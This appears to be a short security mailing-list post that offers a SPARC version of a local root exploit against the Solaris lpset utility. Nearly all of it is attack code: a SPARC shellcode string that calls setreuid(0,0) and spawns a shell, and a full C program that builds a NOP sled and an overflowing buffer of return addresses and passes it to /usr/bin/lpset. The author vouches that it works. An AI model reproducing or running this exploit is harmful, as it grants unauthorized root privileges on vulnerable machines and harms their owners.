Here is the sparc version code for these exploits.
Works fine with lpset, did not try on lp.

Trusted me, it works fine..

Just change shellcode to :

char sparc_shellcode[] =
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

and get_esp to:
u_long get_esp() { asm("mov %sp, %i0"); }

This should be enough to have the sparc version

But, else complete Sparc version (lpset variant):

#include <unistd.h>
#include <stdio.h>

#define BSIZE 18001
#define OFFSET 20112
#define START 700
#define END 1200

#define NOP 0xac15a16e

#define EXSTART 116

char sparc_shellcode[] =

/* setreuid(0,0) */
"\x82\x10\x20\x17\x90\x20\x60\x17\x92\x22\x40\x09\x91\xd0\x20\x08"

/* other stuff */
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

u_long get_sp() { asm("mov %sp, %i0"); }

main(int argc, char *argv[]) {
  int i,ofs=OFFSET,start=START,end=END;
  u_long ret, *ulp;
  char *buf;

  if (argc > 1) ofs=atoi(argv[1])+8;

  if (!(buf = (char *) malloc(BSIZE+2))) {
    fprintf(stderr, "out of memory\n");
    exit(1);
  }

  ret = get_sp() - ofs;

  for (ulp = (u_long *)buf,i=0; ulp < (u_long *)&buf[BSIZE]; i+=4,ulp++)
    *ulp = NOP;

  for (i = start, ulp=(u_long *)&buf[start]; i < end; i+=4) *ulp++ = ret;

  for (i = 0; i < strlen(sparc_shellcode); i++)
    buf[EXSTART+i] = sparc_shellcode[i];

  buf[5000]='=';

  buf[18000]=0;

  fprintf(stderr, "ret: 0x%lx xlen: %d ofs: 0x%lx (%d)\n",
    ret, strlen(buf)-2, ofs, ofs);

  execl("/usr/bin/lpset","lpset","-n","xfn","-a",&buf[2],"lpcol1",0);

  perror("execl");
}
Laurent LEVIER
IT Systems & Networks, Unix System Engineer
Security Specialist